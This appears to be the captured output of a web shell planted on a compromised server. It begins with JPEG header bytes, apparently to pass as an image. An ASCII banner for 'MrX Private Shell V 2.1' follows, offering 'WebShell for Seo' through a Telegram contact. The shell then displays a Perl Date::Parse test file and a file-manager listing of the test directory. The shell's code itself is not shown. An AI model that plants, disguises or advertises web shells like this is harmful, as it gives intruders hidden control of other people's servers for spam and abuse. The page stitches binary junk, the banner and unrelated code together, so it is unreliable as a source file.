����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
use Test::More tests => 5;
use Date::Parse qw(str2time);
# RT#64789: str2time() should accept an optional epoch as third argument
# to use as the reference time instead of time() when filling in missing
# date components (month, day, year).
{
# Use a known fixed epoch as the reference time:
# 2010-06-15 12:00:00 UTC = 1276603200
my $ref_epoch = 1276603200; # 2010-06-15 12:00:00 UTC
# Parsing "21 feb" with no year: February (month 1) < June (month 5),
# so February is in the past — most recent occurrence is current year (2010).
my $t = str2time("21 feb 17:05 UTC", undef, $ref_epoch);
ok(defined $t, "RT#64789: str2time with epoch arg returns defined");
my $parsed_year = 1900 + (gmtime($t))[5];
is($parsed_year, 2010, "RT#64789: 'feb' with epoch 2010-06 stays in 2010 (most recent occurrence)");
# Parsing a time-only string: "10:30:00 UTC"
# With ref_epoch (2010-06-15), the date portion should come from ref_epoch
my $t2 = str2time("10:30:00 UTC", undef, $ref_epoch);
ok(defined $t2, "RT#64789: time-only str2time with epoch arg returns defined");
my @gm2 = gmtime($t2);
is($gm2[3], 15, "RT#64789: time-only: day from ref_epoch");
is(1900 + $gm2[5], 2010, "RT#64789: time-only: year from ref_epoch");
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 00-report-prereqs.dd | File | 1.47 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.88 KB | 0644 |
|
| cpanrt-format.t | File | 599 B | 0644 |
|
| cpanrt-language.t | File | 466 B | 0644 |
|
| cpanrt-overflow.t | File | 808 B | 0644 |
|
| cpanrt-parse.t | File | 5.07 KB | 0644 |
|
| cpanrt-zone.t | File | 4.03 KB | 0644 |
|
| date.t | File | 5 KB | 0644 |
|
| edge-cases.t | File | 8.93 KB | 0644 |
|
| format.t | File | 3.26 KB | 0644 |
|
| getdate.t | File | 7.62 KB | 0644 |
|
| gh10.t | File | 2.34 KB | 0644 |
|
| gh12.t | File | 1.13 KB | 0644 |
|
| lang-data.t | File | 10.29 KB | 0644 |
|
| lang-encoding.t | File | 1.19 KB | 0644 |
|
| lang.t | File | 479 B | 0644 |
|
| msk-tz.t | File | 594 B | 0644 |
|
| pod-valid.t | File | 436 B | 0644 |
|
| rt-format.t | File | 340 B | 0644 |
|
| rt-parse.t | File | 1.32 KB | 0644 |
|
| rt-timezone.t | File | 2.78 KB | 0644 |
|
| rt106105.t | File | 1.14 KB | 0644 |
|
| rt52387.t | File | 782 B | 0644 |
|
| rt57800.t | File | 1.29 KB | 0644 |
|
| str2time-epoch.t | File | 1.28 KB | 0644 |
|
| strptime-iso8601.t | File | 2.75 KB | 0644 |
|
| time2str-lang.t | File | 886 B | 0644 |
|
| tz-lang.t | File | 1.52 KB | 0644 |
|
| zone.t | File | 3.75 KB | 0644 |
|